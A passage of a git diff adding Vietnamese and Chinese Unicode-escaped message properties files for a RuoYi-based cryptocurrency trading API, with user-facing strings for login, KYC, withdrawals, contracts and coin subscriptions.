th\u1EBF tr\u01B0\u1EDBc. +contract.delivery.earn=V\u1EABn c\u00F2n {0} ng\u00E0y tr\u01B0\u1EDBc th\u1EDDi gian giao h\u00E0ng; n\u1EBFu k\u00FD qu\u1EF9 v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n l\u1EDBn h\u01A1n ho\u1EB7c b\u1EB1ng {1} USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF tr\u01B0\u1EDBc. +contract.delivery.loss=V\u1EABn c\u00F2n: {0} ng\u00E0y n\u1EEFa l\u00E0 \u0111\u1EBFn th\u1EDDi \u0111i\u1EC3m giao h\u00E0ng; n\u1EBFu k\u00FD qu\u1EF9 v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n nh\u1ECF h\u01A1n ho\u1EB7c b\u1EB1ng {1}USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF tr\u01B0\u1EDBc +order.audit.error=\u0110ang xem x\u00E9t +order.audit.pass= \u0111ang \u0111\u01B0\u1EE3c s\u1EA1c l\u1EA1i v\u00E0 c\u1EA7n \u0111\u01B0\u1EE3c 5 n\u00FAt tr\u00EAn to\u00E0n th\u1EBF gi\u1EDBi x\u00E1c nh\u1EADn. Vui l\u00F2ng ki\u00EAn nh\u1EABn ch\u1EDD \u0111\u1EE3i. + +own.coin.limit.num=S\u1ED1 l\u01B0\u1EE3ng c\u00F3 s\u1EB5n {0} +own.coin.limit=S\u1ED1 d\u01B0 kh\u1EA3 d\u1EE5ng {0} +own.coin.success=\u0110\u0103ng k\u00FD theo d\u00F5i th\u00E0nh c\u00F4ng +own.coin.error=L\u1ED7i h\u1EC7 th\u1ED1ng, vui l\u00F2ng li\u00EAn h\u1EC7 qu\u1EA3n tr\u1ECB vi\u00EAn +own.coin.sub.play=B\u1EA1n \u0111\u00E3 \u0111\u0103ng k\u00FD r\u1ED3i, vui l\u00F2ng kh\u00F4ng g\u1EEDi l\u1EA1i! +own.coin.sub.error=\u0110\u0103ng k\u00FD kh\u00F4ng c\u00F3 s\u1EB5n n\u1EBFu b\u1EA1n ch\u01B0a \u0111\u0103ng k\u00FD th\u00E0nh c\u00F4ng +own.coin.sub.success=B\u1EA1n \u0111\u00E3 \u0111\u1EA1t \u0111\u01B0\u1EE3c {0} b\u1EB1ng c\u1EA5p \u0111\u0103ng k\u00FD +own.coin.sub.num.error=Vui l\u00F2ng \u0111i\u1EC1n \u0111\u00FAng s\u1ED1 l\u01B0\u1EE3ng +order.sell.min.error=S\u1ED1 ti\u1EC1n b\u00E1n t\u1ED1i thi\u1EC3u l\u00E0 {0} +order.audit.reject=Kh\u00F4ng th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u0110\u0103ng k\u00FD theo d\u00F5i th\u00E0nh c\u00F4ng +own.coin.subscribe.error=\u0110\u0103ng k\u00FD kh\u00F4ng th\u00E0nh c\u00F4ng +user.ops.status=Ho\u1EA1t \u0111\u1ED9ng th\u00E0nh c\u00F4ng +withdraw.kyc.error=Vui l\u00F2ng ho\u00E0n t\u1EA5t x\u00E1c th\u1EF1c t\u00EAn th\u1EADt tr\u01B0\u1EDBc \u0111\u1EC3 n\u00E2ng gi\u1EDBi h\u1EA1n +currency.coin.setting.nonexistent=C\u1EA5u h\u00ECnh {} hi\u1EC7n t\u1EA1i kh\u00F4ng t\u1ED3n t\u1EA1i +currency.balance.deficiency=S\u1ED1 d\u01B0 ti\u1EC1n t\u1EC7 {} hi\u1EC7n t\u1EA1i kh\u00F4ng \u0111\u1EE7 +currency.deal.error=Lo\u1EA1i ti\u1EC1n n\u00E0y kh\u00F4ng th\u1EC3 giao d\u1ECBch \u0111\u01B0\u1EE3c +order.10s_retry=\u0110\u01A1n h\u00E0ng \u0111\u01B0\u1EE3c \u0111\u1EB7t qu\u00E1 th\u01B0\u1EDDng xuy\u00EAn, vui l\u00F2ng th\u1EED \u0111\u1EB7t h\u00E0ng sau 10 gi\u00E2y... +order_amount_limit=S\u1ED1 ti\u1EC1n b\u1EA5t h\u1EE3p ph\uFFFDp + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = Vui l\u00F2ng th\u1EF1c hi\u1EC7n ch\u1EE9ng nh\u1EADn ch\u00EDnh tr\u01B0\u1EDBc + +#\u9ED1\u540D\u5355 +user_is_black = T\u00E0i kho\u1EA3n c\u1EE7a b\u1EA1n \u0111\u00E3 b\u1ECB li\u1EC7t v\u00E0o danh s\u00E1ch \u0111en v\u00E0 kh\u00F4ng th\u1EC3 \u0111\u0103ng nh\u1EADp \u0111\u01B0\u1EE3c. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= S\u1ED1 l\u01B0\u1EE3ng \u0111\u1EB7t h\u00E0ng t\u1ED1i thi\u1EC3u l\u00E0 {0} +currency.order.max.error= S\u1ED1 l\u01B0\u1EE3ng \u0111\u1EB7t h\u00E0ng t\u1ED1i \u0111a l\u00E0 {0} diff --git a/ruoyi-api/src/main/resources/i18n/messages_vn.properties b/ruoyi-api/src/main/resources/i18n/messages_vn.properties new file mode 100644 index 0000000..d03d6ad --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_vn.properties @@ -0,0 +1,137 @@ +user.appname=\u8D8A\u5357\u8BED\u8BED\u8A00 + +not.null=* Y\u00EAu c\u1EA7u +user.jcaptcha.error=L\u1ED7i m\u00E3 x\u00E1c minh +user.jcaptcha.expire=M\u00E3 x\u00E1c minh \u0111\u00E3 h\u1EBFt h\u1EA1n +user.not.exists=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i/sai m\u1EADt kh\u1EA9u +user.password.not.match=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i/sai m\u1EADt kh\u1EA9u +user.password.retry.limit.count=M\u1EADt kh\u1EA9u \u0111\u00E3 nh\u1EADp sai {0} l\u1EA7n +user.password.retry.limit.exceed= N\u1EBFu nh\u1EADp sai m\u1EADt kh\u1EA9u {0} l\u1EA7n, t\u00E0i kho\u1EA3n s\u1EBD b\u1ECB kh\u00F3a trong {1} ph\u00FAt. +user.password.delete=Xin l\u1ED7i, t\u00E0i kho\u1EA3n c\u1EE7a b\u1EA1n \u0111\u00E3 b\u1ECB x\u00F3a +user.blocked=Ng\u01B0\u1EDDi d\u00F9ng \u0111\u00E3 b\u1ECB c\u1EA5m, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn +role.blocked=Vai tr\u00F2 \u0111\u00E3 b\u1ECB c\u1EA5m, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn +login.blocked=Th\u1EADt kh\u00F4ng may, IP truy c\u1EADp \u0111\u00E3 b\u1ECB \u0111\u01B0a v\u00E0o danh s\u00E1ch \u0111en c\u1EE7a h\u1EC7 th\u1ED1ng +user.logout.success=tho\u00E1t th\u00E0nh c\u00F4ng +user.ops.status=Ho\u1EA1t \u0111\u1ED9ng th\u00E0nh c\u00F4ng +length.not.valid=\u0110\u1ED9 d\u00E0i ph\u1EA3i n\u1EB1m trong kho\u1EA3ng t\u1EEB {min} \u0111\u1EBFn {max} k\u00FD t\u1EF1 +user.username.not.valid=* N\u00F3 bao g\u1ED3m t\u1EEB 2 \u0111\u1EBFn 20 k\u00FD t\u1EF1 ti\u1EBFng Trung, ch\u1EEF c\u00E1i, s\u1ED1 ho\u1EB7c d\u1EA5u g\u1EA1ch d\u01B0\u1EDBi v\u00E0 ph\u1EA3i b\u1EAFt \u0111\u1EA7u b\u1EB1ng m\u1ED9t s\u1ED1 kh\u00F4ng ph\u1EA3i s\u1ED1 +user.password.not.valid=* 5-50 k\u00FD t\u1EF1 +user.email.not.valid= L\u1ED7i \u0111\u1ECBnh d\u1EA1ng email +user.mobile.phone.number.not.valid=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i kh\u00F4ng \u0111\u00FAng \u0111\u1ECBnh d\u1EA1ng +user.login.success=\u0111\u0103ng nh\u1EADp th\u00E0nh c\u00F4ng +user.register.success=\u0111\u0103ng k\u00FD th\u00E0nh c\u00F4ng +user.notfound=xin vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +user.forcelogout=Qu\u1EA3n tr\u1ECB vi\u00EAn bu\u1ED9c ph\u1EA3i \u0111\u0103ng xu\u1EA5t, vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +user.unknown.error=L\u1ED7i kh\u00F4ng x\u00E1c \u0111\u1ECBnh, vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +upload.exceed.maxSize=K\u00EDch th\u01B0\u1EDBc t\u1EC7p \u0111\u01B0\u1EE3c t\u1EA3i l\u00EAn v\u01B0\u1EE3t qu\u00E1 gi\u1EDBi h\u1EA1n k\u00EDch th\u01B0\u1EDBc t\u1EC7p!
K\u00EDch th\u01B0\u1EDBc t\u1EC7p t\u1ED1i \u0111a \u0111\u01B0\u1EE3c ph\u00E9p l\u00E0: {0}MB! +upload.filename.exceed.length=T\u00EAn t\u1EC7p \u0111\u00E3 t\u1EA3i l\u00EAn ph\u1EA3i d\u00E0i t\u1ED1i \u0111a {0} k\u00FD t\u1EF1 +no.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n truy c\u1EADp d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.create.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n t\u1EA1o d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.update.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n s\u1EEDa \u0111\u1ED5i d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.delete.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n x\u00F3a d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.export.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n xu\u1EA5t d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.view.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n xem d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +user.register.email.format=\u0110\u1ECBnh d\u1EA1ng email kh\u00F4ng \u0111\u00FAng +user.register.email.exisit=Email \u0111\u00E3 t\u1ED3n t\u1EA1i +user.register.phone.exisit=Email \u0111\u00E3 t\u1ED3n t\u1EA1i +user.user_name_exisit=t\u00EAn n\u00E0y \u0111\u00E3 c\u00F3 ng\u01B0\u1EDDi d\u00F9ng +login.user_error=sai t\u00EAn ng\u01B0\u1EDDi d\u00F9ng ho\u1EB7c m\u1EADt kh\u1EA9u +user.login.address.error=\u0110\u1ECBa ch\u1EC9 \u0111\u00E3 c\u00F3 ng\u01B0\u1EDDi s\u1EED d\u1EE5ng! +app.login.address.not.null=\u0110\u1ECBa ch\u1EC9 ng\u01B0\u1EDDi d\u00F9ng tr\u1ED1ng +login.email.not_register= Vui l\u00F2ng s\u1EED d\u1EE5ng \u0111\u1ECBa ch\u1EC9 email b\u1ECB r\u00E0ng bu\u1ED9c \u0111\u1EC3 ho\u1EA1t \u0111\u1ED9ng +login.phone.not_register=Vui l\u00F2ng s\u1EED d\u1EE5ng s\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng \u0111\u01B0\u1EE3c li\u00EAn k\u1EBFt \u0111\u1EC3 v\u1EADn h\u00E0nh +login.code_error=L\u1ED7i m\u00E3 x\u00E1c minh +user.login.code.error=X\u00E1c minh m\u00E3 x\u00E1c minh kh\u00F4ng th\u00E0nh c\u00F4ng! +user.login.password.null=Vui l\u00F2ng nh\u1EADp m\u1EADt kh\u1EA9u c\u1EE7a b\u1EA1n! +user.login.upd.success=\u0110\u00E3 s\u1EEDa \u0111\u1ED5i th\u00E0nh c\u00F4ng! +phone_code_empty=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng! +email.code_empty=E-mail kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng! +user.code.send=M\u00E3 x\u00E1c minh \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EEDi th\u00E0nh c\u00F4ng +app.verification.email.code=M\u00E3 x\u00E1c minh \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EEDi t\u1EDBi email c\u1EE7a b\u1EA1n, vui l\u00F2ng ki\u1EC3m tra. +user.password_bind=M\u1EADt kh\u1EA9u \u0111\u00E3 \u0111\u01B0\u1EE3c \u0111\u1EB7t, vui l\u00F2ng kh\u00F4ng li\u00EAn k\u1EBFt l\u1EA1i. +user.tard.password_bind= M\u1EADt kh\u1EA9u b\u1EA3o m\u1EADt \u0111\u00E3 \u0111\u01B0\u1EE3c \u0111\u1EB7t, vui l\u00F2ng kh\u00F4ng li\u00EAn k\u1EBFt l\u1EA1i. +user.login.null=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i! +user.login.old.password=M\u1EADt kh\u1EA9u c\u0169 ch\u01B0a \u0111\u01B0\u1EE3c nh\u1EADp! +user.login.new.password=M\u1EADt kh\u1EA9u m\u1EDBi ch\u01B0a \u0111\u01B0\u1EE3c nh\u1EADp! +user.login.paw.upd=M\u1EADt kh\u1EA9u m\u1EDBi kh\u00F4ng \u0111\u01B0\u1EE3c gi\u1ED1ng m\u1EADt kh\u1EA9u c\u0169! +user.login.old.password.error=M\u1EADt kh\u1EA9u c\u0169 sai! +user.login.address.null=\u0110\u1ECBa ch\u1EC9 tr\u1ED1ng! +user.login.userid.null=ID ng\u01B0\u1EDDi d\u00F9ng tr\u1ED1ng! +user.password_notbind=H\u00E3y \u0111\u1EB7t m\u1EADt kh\u1EA9u an to\u00E0n +tard_password.error=Sai m\u1EADt kh\u1EA9u thanh to\u00E1n +#\u63D0\u73B0 +withdraw.amount_number_exceed= R\u00FAt ti\u1EC1n v\u01B0\u1EE3t qu\u00E1 s\u1ED1 l\u1EA7n \u0111\u00E3 \u0111\u1EB7t trong ng\u00E0y +withdraw_error= S\u1ED1 d\u01B0 kh\u00F4ng \u0111\u1EE7, kh\u00F4ng th\u1EC3 r\u00FAt ti\u1EC1n m\u1EB7t +withdraw.amount_error=S\u1ED1 ti\u1EC1n r\u00FAt sai, vui l\u00F2ng s\u1EEDa l\u1EA1i. +withdraw.refresh=vui l\u00F2ng l\u00E0m m\u1EDBi +withdraw.address.isnull=Vui l\u00F2ng \u0111i\u1EC1n \u0111\u00FAng \u0111\u1ECBa ch\u1EC9 r\u00FAt ti\u1EC1n! +withdraw_error_coin=Lo\u1EA1i ti\u1EC1n t\u1EC7 n\u00E0y kh\u00F4ng t\u1ED3n t\u1EA1i +withdraw_error_rate=T\u1EF7 gi\u00E1 h\u1ED1i \u0111o\u00E1i n\u00E0y kh\u00F4ng t\u1ED3n t\u1EA1i +user.kyc.not_blank= T\u1EA5t c\u1EA3 b\u1ED1n m\u1EE5c th\u00F4ng tin x\u00E1c th\u1EF1c danh t\u00EDnh \u0111\u1EC1u \u0111\u01B0\u1EE3c y\u00EAu c\u1EA7u. +exchange.symbol.exist= Lo\u1EA1i ti\u1EC1n quy \u0111\u1ED5i kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng v\u00E0 s\u1ED1 ti\u1EC1n quy \u0111\u1ED5i ph\u1EA3i l\u1EDBn h\u01A1n 0 +recharge.amout.min=S\u1ED1 ti\u1EC1n g\u1EEDi t\u1ED1i thi\u1EC3u l\u00E0 {0} +recharge.amout.max=S\u1ED1 ti\u1EC1n n\u1EA1p t\u1ED1i \u0111a l\u00E0 {0} +currency.exchange_min=S\u1ED1 ti\u1EC1n trao \u0111\u1ED5i t\u1ED1i thi\u1EC3u l\u00E0 {0} +currency.exchange_max=S\u1ED1 ti\u1EC1n trao \u0111\u1ED5i t\u1ED1i \u0111a l\u00E0 {0} +exchange_error=S\u1ED1 ti\u1EC1n quy \u0111\u1ED5i l\u1EDBn h\u01A1n s\u1ED1 d\u01B0 t\u00E0i kho\u1EA3n +exchange.record.exist.error=B\u1EA1n \u0111ang ti\u1EBFn h\u00E0nh \u0111\u1ED5i qu\u00E0, vui l\u00F2ng th\u1EED l\u1EA1i sau +exchange_symbol_error_exist=\u0110\u1ED3ng ti\u1EC1n trao \u0111\u1ED5i kh\u00F4ng t\u1ED3n t\u1EA1i +order_amount_error= S\u1ED1 d\u01B0 trong v\u00ED kh\u00F4ng \u0111\u1EE7, kh\u00F4ng th\u1EC3 mua +order_10s_retry=\u0110\u01A1n h\u00E0ng \u0111\u01B0\u1EE3c \u0111\u1EB7t qu\u00E1 th\u01B0\u1EDDng xuy\u00EAn, vui l\u00F2ng th\u1EED \u0111\u1EB7t h\u00E0ng sau 10 gi\u00E2y... +user.push.message=Ho\u1EA1t \u0111\u1ED9ng c\u1EE7a ng\u01B0\u1EDDi d\u00F9ng b\u1ECB c\u1EA5m +mine.level.error=C\u1EA5p VIP c\u1EE7a b\u1EA1n kh\u00F4ng \u0111\u1EE7 \u0111\u1EC3 mua c\u00E1c s\u1EA3n ph\u1EA9m t\u00E0i ch\u00EDnh +order.single.min=S\u1ED1 ti\u1EC1n mua \u00EDt h\u01A1n gi\u1EDBi h\u1EA1n t\u1ED1i thi\u1EC3u v\u00E0 kh\u00F4ng th\u1EC3 mua \u0111\u01B0\u1EE3c +order.single.max=S\u1ED1 ti\u1EC1n mua l\u1EDBn h\u01A1n gi\u1EDBi h\u1EA1n t\u1ED1i \u0111a v\u00E0 kh\u00F4ng th\u1EC3 mua \u0111\u01B0\u1EE3c. +order.buy.insufficient=S\u1ED1 ti\u1EC1n t\u1ED1i \u0111a b\u1EA1n c\u00F3 th\u1EC3 mua hi\u1EC7n t\u1EA1i l\u00E0 {0} +product.removed=S\u1EA3n ph\u1EA9m \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EE1 b\u1ECF kh\u1ECFi k\u1EC7 +financial.count.max=Ng\u01B0\u1EDDi d\u00F9ng n\u00E0y \u0111\u00E3 \u0111\u1EA1t \u0111\u1EBFn gi\u1EDBi h\u1EA1n v\u00E0 kh\u00F4ng \u0111\u01B0\u1EE3c ph\u00E9p mua h\u00E0ng. +days.not.null=Chu k\u1EF3 mua h\u00E0ng tr\u1ED1ng +days.not.error=L\u1ED7i chu k\u1EF3 mua h\u00E0ng +contract.accont.error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n h\u1EE3p \u0111\u1ED3ng kh\u00F4ng \u0111\u1EE7 +contract.min.share=S\u1ED1 l\u01B0\u1EE3ng mua t\u1ED1i thi\u1EC3u l\u00E0 {0} +contract.max.share=S\u1ED1 l\u1EA7n mua t\u1ED1i \u0111a l\u00E0 {0} +contract.asset.error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n h\u1EE3p \u0111\u1ED3ng kh\u00F4ng \u0111\u1EE7 +adjust.min.error=S\u1ED1 ti\u1EC1n k\u00FD qu\u1EF9 gi\u1EA3m kh\u00F4ng \u0111\u01B0\u1EE3c nh\u1ECF h\u01A1n s\u1ED1 ti\u1EC1n k\u00FD qu\u1EF9 ban \u0111\u1EA7u +order.status.error=N\u1ED9p b\u00E0i b\u1EA5t h\u1EE3p ph\u00E1p +contract.buy.earn.error=Mua l\u00E2u, gi\u00E1 ch\u1ED1t l\u1EDDi kh\u00F4ng th\u1EC3 th\u1EA5p h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.buy.loss.error=Mua l\u00E2u, gi\u00E1 d\u1EEBng l\u1ED7 kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.sell.earn.error=B\u00E1n \u0111\u1EC3 m\u1EDF m\u1ED9t v\u1ECB th\u1EBF b\u00E1n, gi\u00E1 ch\u1ED1t l\u1EDDi kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.sell.loss.error=B\u00E1n v\u00E0 m\u1EDF l\u1EC7nh b\u00E1n, gi\u00E1 d\u1EEBng l\u1ED7 kh\u00F4ng th\u1EC3 th\u1EA5p h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.num.limit=S\u1ED1 l\u01B0\u1EE3ng kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n v\u1ECB tr\u00ED +asset_amount_error=Thi\u1EBFu c\u00E2n b\u1EB1ng +order.amount_error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n t\u00E0i ch\u00EDnh kh\u00F4ng \u0111\u1EE7 +back.code.exist.error=S\u1ED1 th\u1EBB ng\u00E2n h\u00E0ng \u0111\u00E3 t\u1ED3n t\u1EA1i{} +contract.delivery.day= V\u1EABn c\u00F2n: {0} ng\u00E0y n\u1EEFa m\u1EDBi giao h\u00E0ng. +contract.delivery.margan=V\u1EABn c\u00F2n {0} ng\u00E0y tr\u01B0\u1EDBc khi giao h\u00E0ng; n\u1EBFu t\u00E0i s\u1EA3n th\u1EBF ch\u1EA5p v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n l\u1EDBn h\u01A1n ho\u1EB7c b\u1EB1ng {1} USDT ho\u1EB7c t\u00E0i s\u1EA3n h\u1EE3p \u0111\u1ED3ng nh\u1ECF h\u01A1n ho\u1EB7c b\u1EB1ng {2} USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF tr\u01B0\u1EDBc. +contract.delivery.earn=V\u1EABn c\u00F2n {0} ng\u00E0y tr\u01B0\u1EDBc th\u1EDDi \u0111i\u1EC3m giao h\u00E0ng; n\u1EBFu k\u00FD qu\u1EF9 v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n l\u1EDBn h\u01A1n ho\u1EB7c b\u1EB1ng {1} USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF tr\u01B0\u1EDBc. +contract.delivery.loss=V\u1EABn c\u00F2n: {0} ng\u00E0y tr\u01B0\u1EDBc th\u1EDDi gian giao h\u00E0ng; n\u1EBFu t\u00E0i s\u1EA3n th\u1EBF ch\u1EA5p v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n nh\u1ECF h\u01A1n ho\u1EB7c b\u1EB1ng {1}USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF tr\u01B0\u1EDBc. +order.audit.error=\u0110ang xem x\u00E9t +order.audit.pass= \u0111ang \u0111\u01B0\u1EE3c s\u1EA1c l\u1EA1i v\u00E0 c\u1EA7n \u0111\u01B0\u1EE3c 5 n\u00FAt tr\u00EAn to\u00E0n th\u1EBF gi\u1EDBi x\u00E1c nh\u1EADn. Vui l\u00F2ng ki\u00EAn nh\u1EABn ch\u1EDD \u0111\u1EE3i. +withdraw.kyc.error=Vui l\u00F2ng ho\u00E0n t\u1EA5t x\u00E1c th\u1EF1c t\u00EAn th\u1EADt tr\u01B0\u1EDBc \u0111\u1EC3 n\u00E2ng gi\u1EDBi h\u1EA1n +currency.coin.setting.nonexistent=C\u1EA5u h\u00ECnh {} hi\u1EC7n t\u1EA1i kh\u00F4ng t\u1ED3n t\u1EA1i +currency.balance.deficiency=S\u1ED1 d\u01B0 ti\u1EC1n t\u1EC7 {} hi\u1EC7n t\u1EA1i kh\u00F4ng \u0111\u1EE7 +currency.deal.error=Lo\u1EA1i ti\u1EC1n n\u00E0y kh\u00F4ng th\u1EC3 giao d\u1ECBch \u0111\u01B0\u1EE3c +order.10s_retry=\u0110\u01A1n h\u00E0ng \u0111\u01B0\u1EE3c \u0111\u1EB7t qu\u00E1 th\u01B0\u1EDDng xuy\u00EAn, vui l\u00F2ng th\u1EED \u0111\u1EB7t h\u00E0ng sau 10 gi\u00E2y... +own.coin.limit.num=S\u1ED1 l\u01B0\u1EE3ng c\u00F3 s\u1EB5n {0} +own.coin.limit=S\u1ED1 d\u01B0 kh\u1EA3 d\u1EE5ng {0} +own.coin.success=\u0110\u0103ng k\u00FD theo d\u00F5i th\u00E0nh c\u00F4ng +own.coin.error=L\u1ED7i h\u1EC7 th\u1ED1ng, vui l\u00F2ng li\u00EAn h\u1EC7 qu\u1EA3n tr\u1ECB vi\u00EAn +own.coin.sub.play=B\u1EA1n \u0111\u00E3 \u0111\u0103ng k\u00FD r\u1ED3i, vui l\u00F2ng kh\u00F4ng g\u1EEDi l\u1EA1i! +own.coin.sub.error=\u0110\u0103ng k\u00FD kh\u00F4ng c\u00F3 s\u1EB5n n\u1EBFu b\u1EA1n ch\u01B0a \u0111\u0103ng k\u00FD th\u00E0nh c\u00F4ng +own.coin.sub.success=B\u1EA1n \u0111\u00E3 \u0111\u1EA1t \u0111\u01B0\u1EE3c {0} b\u1EB1ng c\u1EA5p \u0111\u0103ng k\u00FD +own.coin.sub.num.error=Vui l\u00F2ng \u0111i\u1EC1n \u0111\u00FAng s\u1ED1 l\u01B0\u1EE3ng +order.sell.min.error=S\u1ED1 ti\u1EC1n b\u00E1n t\u1ED1i thi\u1EC3u l\u00E0 {0} +order.audit.reject=Kh\u00F4ng th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF +own.coin.subscribe.success=\u0110\u0103ng k\u00FD theo d\u00F5i th\u00E0nh c\u00F4ng +own.coin.subscribe.error=\u0110\u0103ng k\u00FD kh\u00F4ng th\u00E0nh c\u00F4ng +user.authentication.not.certified = Vui l\u00F2ng th\u1EF1c hi\u1EC7n ch\u1EE9ng nh\u1EADn ch\u00EDnh tr\u01B0\u1EDBc + +#\u9ED1\u540D\u5355 +user_is_black = T\u00E0i kho\u1EA3n c\u1EE7a b\u1EA1n \u0111\u00E3 b\u1ECB li\u1EC7t v\u00E0o danh s\u00E1ch \u0111en v\u00E0 kh\u00F4ng th\u1EC3 \u0111\u0103ng nh\u1EADp \u0111\u01B0\u1EE3c. + +withdraw_require_error = Hi\u1EC7n t\u1EA1i t\u00F4i v\u1EABn c\u1EA7n ch\u01A1i v\u1EDBi s\u1ED1 doanh thu c\u00F2n l\u1EA1i. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= S\u1ED1 l\u01B0\u1EE3ng \u0111\u1EB7t h\u00E0ng t\u1ED1i thi\u1EC3u l\u00E0 {0} +currency.order.max.error= S\u1ED1 l\u01B0\u1EE3ng \u0111\u1EB7t h\u00E0ng t\u1ED1i \u0111a l\u00E0 {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_zh.properties b/ruoyi-api/src/main/resources/i18n/messages_zh.properties new file mode 100644 index 0000000..da72778 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_zh.properties @@ -0,0 +1,170 @@ +user.appname=\u4E2D\u6587\u8BED\u8A00 + + + +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u987B\u586B\u5199 +user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 +user.not.exists=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5220\u9664 +user.blocked=\u7528\u6237\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +login.blocked=\u5F88\u9057\u61BE\uFF0C\u8BBF\u95EEIP\u5DF2\u88AB\u5217\u5165\u7CFB\u7EDF\u9ED1\u540D\u5355 +user.logout.success=\u9000\u51FA\u6210\u529F +user.ops.status=\u64CD\u4F5C\u6210\u529F + +length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 + 